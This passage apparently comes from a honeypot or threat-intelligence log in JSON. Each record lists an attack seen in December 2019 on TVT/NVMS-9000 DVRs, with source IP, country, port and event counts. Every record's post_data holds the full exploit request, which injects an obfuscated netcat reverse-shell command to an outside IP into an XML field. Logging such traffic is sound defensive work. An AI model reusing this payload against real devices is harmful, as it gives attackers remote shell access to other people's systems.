  467.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  468.       "target_port": 8080,
  469.       "protocol": "tcp",
  470.       "tags": [
  471.         {
  472.           "cve": "",
  473.           "category": "IoT",
  474.           "description": "TVT (Generic OEM) DVR RCE"
  475.         }
  476.       ],
  477.       "event_count": 22,
  478.       "first_seen": "2019-12-23T06:03:43Z",
  479.       "last_seen": "2019-12-23T20:49:15Z"
  480.     },
  481.     {
  482.       "source_ip_address": "50.233.0.106",
  483.       "country": "US",
  484.       "user_agent": "Help",
  485.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  486.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  487.       "target_port": 88,
  488.       "protocol": "tcp",
  489.       "tags": [
  490.         {
  491.           "cve": "",
  492.           "category": "IoT",
  493.           "description": "TVT (Generic OEM) DVR RCE"
  494.         }
  495.       ],
  496.       "event_count": 33,
  497.       "first_seen": "2019-12-22T19:04:57Z",
  498.       "last_seen": "2019-12-23T20:49:10Z"
  499.     },
  500.     {
  501.       "source_ip_address": "198.233.119.179",
  502.       "country": "US",
  503.       "user_agent": "Help",
  504.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  505.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  506.       "target_port": 88,
  507.       "protocol": "tcp",
  508.       "tags": [
  509.         {
  510.           "cve": "",
  511.           "category": "IoT",
  512.           "description": "TVT (Generic OEM) DVR RCE"
  513.         }
  514.       ],
  515.       "event_count": 1,
  516.       "first_seen": "2019-12-23T20:37:10Z",
  517.       "last_seen": "2019-12-23T20:37:10Z"
  518.     },
  519.     {
  520.       "source_ip_address": "154.66.154.96",
  521.       "country": "ZA",
  522.       "user_agent": "Help",
  523.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  524.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  525.       "target_port": 8080,
  526.       "protocol": "tcp",
  527.       "tags": [
  528.         {
  529.           "cve": "",
  530.           "category": "IoT",
  531.           "description": "TVT (Generic OEM) DVR RCE"
  532.         }
  533.       ],
  534.       "event_count": 1,
  535.       "first_seen": "2019-12-23T20:34:24Z",
  536.       "last_seen": "2019-12-23T20:34:24Z"
  537.     },
  538.     {
  539.       "source_ip_address": "209.108.207.242",
  540.       "country": "US",
  541.       "user_agent": "Help",
  542.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  543.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  544.       "target_port": 81,
  545.       "protocol": "tcp",
  546.       "tags": [
  547.         {
  548.           "cve": "",
  549.           "category": "IoT",
  550.           "description": "TVT (Generic OEM) DVR RCE"
  551.         }
  552.       ],
  553.       "event_count": 4,
  554.       "first_seen": "2019-12-23T20:32:18Z",
  555.       "last_seen": "2019-12-23T20:32:18Z"
  556.     },
  557.     {
  558.       "source_ip_address": "189.34.243.5",
  559.       "country": "BR",
  560.       "user_agent": "Help",
  561.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  562.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  563.       "target_port": 8080,
  564.       "protocol": "tcp",
  565.       "tags": [
  566.         {
  567.           "cve": "",
  568.           "category": "IoT",
  569.           "description": "TVT (Generic OEM) DVR RCE"
  570.         }
  571.       ],
  572.       "event_count": 3,
  573.       "first_seen": "2019-12-23T20:23:57Z",
  574.       "last_seen": "2019-12-23T20:23:57Z"
  575.     },
  576.     {
  577.       "source_ip_address": "90.52.97.82",
  578.       "country": "FR",
  579.       "user_agent": "Help",
  580.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  581.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  582.       "target_port": 8000,
  583.       "protocol": "tcp",
  584.       "tags": [
  585.         {
  586.           "cve": "",
  587.           "category": "IoT",
  588.           "description": "TVT (Generic OEM) DVR RCE"
  589.         }
  590.       ],
  591.       "event_count": 23,
  592.       "first_seen": "2019-12-23T20:20:56Z",
  593.       "last_seen": "2019-12-23T20:20:56Z"
  594.     },
  595.     {
  596.       "source_ip_address": "187.172.85.213",
  597.       "country": "MX",
  598.       "user_agent": "Help",
  599.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  600.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  601.       "target_port": 88,
  602.       "protocol": "tcp",
  603.       "tags": [
  604.         {
  605.           "cve": "",
  606.           "category": "IoT",
  607.           "description": "TVT (Generic OEM) DVR RCE"
  608.         }
  609.       ],
  610.       "event_count": 3,
  611.       "first_seen": "2019-12-23T20:08:03Z",
  612.       "last_seen": "2019-12-23T20:08:03Z"
  613.     },
  614.     {
  615.       "source_ip_address": "201.103.15.228",
  616.       "country": "MX",
  617.       "user_agent": "Help",
  618.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  619.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  620.       "target_port": 88,
  621.       "protocol": "tcp",
  622.       "tags": [
  623.         {
  624.           "cve": "",
  625.           "category": "IoT",
  626.           "description": "TVT (Generic OEM) DVR RCE"
  627.         }
  628.       ],
  629.       "event_count": 19,
  630.       "first_seen": "2019-12-23T19:48:20Z",
  631.       "last_seen": "2019-12-23T19:48:20Z"
  632.     },
  633.     {
  634.       "source_ip_address": "173.12.220.213",
  635.       "country": "US",
  636.       "user_agent": "Help",
  637.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  638.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  639.       "target_port": 80,
  640.       "protocol": "tcp",
  641.       "tags": [
  642.         {
  643.           "cve": "",
  644.           "category": "IoT",
  645.           "description": "TVT (Generic OEM) DVR RCE"
  646.         }
  647.       ],
  648.       "event_count": 22,
  649.       "first_seen": "2019-12-23T18:39:19Z",
  650.       "last_seen": "2019-12-23T18:39:19Z"
  651.     },
  652.     {
  653.       "source_ip_address": "186.250.39.82",
  654.       "country": "BR",
  655.       "user_agent": "Help",
  656.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  657.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  658.       "target_port": 88,
  659.       "protocol": "tcp",
  660.       "tags": [
  661.         {
  662.           "cve": "",
  663.           "category": "IoT",
  664.           "description": "TVT (Generic OEM) DVR RCE"
  665.         }
  666.       ],
  667.       "event_count": 33,
  668.       "first_seen": "2019-12-23T18:30:08Z",
  669.       "last_seen": "2019-12-23T18:30:08Z"
  670.     },
  671.     {
  672.       "source_ip_address": "75.144.232.165",
  673.       "country": "US",
  674.       "user_agent": "Help",
  675.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  676.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  677.       "target_port": 81,
  678.       "protocol": "tcp",
  679.       "tags": [
  680.         {
  681.           "cve": "",
  682.           "category": "IoT",
  683.           "description": "TVT (Generic OEM) DVR RCE"
  684.         }
  685.       ],
  686.       "event_count": 2,
  687.       "first_seen": "2019-12-23T18:08:38Z",
  688.       "last_seen": "2019-12-23T18:08:38Z"
  689.     },
  690.     {
  691.       "source_ip_address": "187.178.71.178",
  692.       "country": "MX",
  693.       "user_agent": "Help",
  694.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  695.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  696.       "target_port": 88,
  697.       "protocol": "tcp",
  698.       "tags": [
  699.         {
  700.           "cve": "",
  701.           "category": "IoT",
  702.           "description": "TVT (Generic OEM) DVR RCE"
  703.         }
  704.       ],
  705.       "event_count": 7,
  706.       "first_seen": "2019-12-23T08:17:13Z",
  707.       "last_seen": "2019-12-23T18:07:12Z"
  708.     },
  709.     {
  710.       "source_ip_address": "187.222.77.144",
  711.       "country": "MX",
  712.       "user_agent": "Help",
  713.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  714.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  715.       "target_port": 88,
  716.       "protocol": "tcp",
  717.       "tags": [
  718.         {
  719.           "cve": "",
  720.           "category": "IoT",
  721.           "description": "TVT (Generic OEM) DVR RCE"
  722.         }
  723.       ],
  724.       "event_count": 1,
  725.       "first_seen": "2019-12-23T17:56:05Z",
  726.       "last_seen": "2019-12-23T17:56:05Z"
  727.     },
  728.     {
  729.       "source_ip_address": "220.134.58.133",
  730.       "country": "TW",
  731.       "user_agent": "Help",
  732.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  733.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  734.       "target_port": 80,
  735.       "protocol": "tcp",
  736.       "tags": [
  737.         {
  738.           "cve": "",
  739.           "category": "IoT",
  740.           "description": "TVT (Generic OEM) DVR RCE"
  741.         }
  742.       ],
  743.       "event_count": 1,
  744.       "first_seen": "2019-12-23T17:55:39Z",
  745.       "last_seen": "2019-12-23T17:55:39Z"
  746.     },
  747.     {
  748.       "source_ip_address": "93.42.110.44",
  749.       "country": "IT",
  750.       "user_agent": "Help",
  751.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  752.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  753.       "target_port": 8000,
  754.       "protocol": "tcp",
  755.       "tags": [
  756.         {
  757.           "cve": "",
  758.           "category": "IoT",
  759.           "description": "TVT (Generic OEM) DVR RCE"
  760.         }
  761.       ],
  762.       "event_count": 2,
  763.       "first_seen": "2019-12-19T04:13:44Z",
  764.       "last_seen": "2019-12-23T17:36:46Z"
  765.     },
  766.     {
  767.       "source_ip_address": "220.133.9.103",
  768.       "country": "TW",
  769.       "user_agent": "Help",
  770.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  771.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  772.       "target_port": 81,
  773.       "protocol": "tcp",
  774.       "tags": [
  775.         {
  776.           "cve": "",
  777.           "category": "IoT",
  778.           "description": "TVT (Generic OEM) DVR RCE"
  779.         }
  780.       ],
  781.       "event_count": 1,
  782.       "first_seen": "2019-12-23T17:24:08Z",
  783.       "last_seen": "2019-12-23T17:24:08Z"
  784.     },
  785.     {
  786.       "source_ip_address": "189.183.200.105",
  787.       "country": "MX",
  788.       "user_agent": "Help",
  789.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  790.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  791.       "target_port": 8000,
  792.       "protocol": "tcp",
  793.       "tags": [
  794.         {
  795.           "cve": "",
  796.           "category": "IoT",
  797.           "description": "TVT (Generic OEM) DVR RCE"
  798.         }
  799.       ],
  800.       "event_count": 1,
  801.       "first_seen": "2019-12-23T16:51:27Z",
  802.       "last_seen": "2019-12-23T16:51:27Z"
  803.     },
  804.     {
  805.       "source_ip_address": "156.213.98.214",
  806.       "country": "EG",
  807.       "user_agent": "Help",
  808.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  809.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  810.       "target_port": 8080,
  811.       "protocol": "tcp",
  812.       "tags": [
  813.         {
  814.           "cve": "",
  815.           "category": "IoT",
  816.           "description": "TVT (Generic OEM) DVR RCE"
  817.         }
  818.       ],
  819.       "event_count": 3,
  820.       "first_seen": "2019-12-23T16:48:03Z",
  821.       "last_seen": "2019-12-23T16:48:03Z"
  822.     },
  823.     {
  824.       "source_ip_address": "50.111.63.176",
  825.       "country": "US",
  826.       "user_agent": "Help",
  827.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  828.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  829.       "target_port": 88,
  830.       "protocol": "tcp",
  831.       "tags": [
  832.         {
  833.           "cve": "",
  834.           "category": "IoT",
  835.           "description": "TVT (Generic OEM) DVR RCE"
  836.         }
  837.       ],
  838.       "event_count": 1,
  839.       "first_seen": "2019-12-23T16:06:55Z",
  840.       "last_seen": "2019-12-23T16:06:55Z"
  841.     },
  842.     {
  843.       "source_ip_address": "66.169.87.5",
  844.       "country": "US",
  845.       "user_agent": "Help",
  846.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  847.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  848.       "target_port": 80,
  849.       "protocol": "tcp",
  850.       "tags": [
  851.         {
  852.           "cve": "",
  853.           "category": "IoT",
  854.           "description": "TVT (Generic OEM) DVR RCE"
  855.         }
  856.       ],
  857.       "event_count": 5,
  858.       "first_seen": "2019-12-23T03:30:58Z",
  859.       "last_seen": "2019-12-23T15:54:59Z"
  860.     },
  861.     {
  862.       "source_ip_address": "220.133.9.103",
  863.       "country": "TW",
  864.       "user_agent": "Help",
  865.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  866.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  867.       "target_port": 88,
  868.       "protocol": "tcp",
  869.       "tags": [
  870.         {
  871.           "cve": "",
  872.           "category": "IoT",
  873.           "description": "TVT (Generic OEM) DVR RCE"
  874.         }
  875.       ],
  876.       "event_count": 1,
  877.       "first_seen": "2019-12-23T15:11:23Z",
  878.       "last_seen": "2019-12-23T15:11:23Z"
  879.     },
  880.     {
  881.       "source_ip_address": "45.37.65.216",
  882.       "country": "US",
  883.       "user_agent": "Help",
  884.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  885.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  886.       "target_port": 81,
  887.       "protocol": "tcp",
  888.       "tags": [
  889.         {
  890.           "cve": "",
  891.           "category": "IoT",
  892.           "description": "TVT (Generic OEM) DVR RCE"
  893.         }
  894.       ],
  895.       "event_count": 6,
  896.       "first_seen": "2019-12-23T15:07:31Z",
  897.       "last_seen": "2019-12-23T15:07:31Z"
  898.     },
  899.     {
  900.       "source_ip_address": "95.70.169.166",
  901.       "country": "TR",
  902.       "user_agent": "Help",
  903.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  904.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  905.       "target_port": 80,
  906.       "protocol": "tcp",
  907.       "tags": [
  908.         {
  909.           "cve": "",
  910.           "category": "IoT",
  911.           "description": "TVT (Generic OEM) DVR RCE"
  912.         }
  913.       ],
  914.       "event_count": 6,
  915.       "first_seen": "2019-12-23T15:04:22Z",
  916.       "last_seen": "2019-12-23T15:04:22Z"
  917.     },
  918.     {
  919.       "source_ip_address": "201.114.222.190",
  920.       "country": "MX",
  921.       "user_agent": "Help",
  922.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  923.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  924.       "target_port": 80,
  925.       "protocol": "tcp",
  926.       "tags": [
  927.         {
  928.           "cve": "",
  929.           "category": "IoT",
  930.           "description": "TVT (Generic OEM) DVR RCE"
  931.         }
  932.       ],
  933.       "event_count": 8,
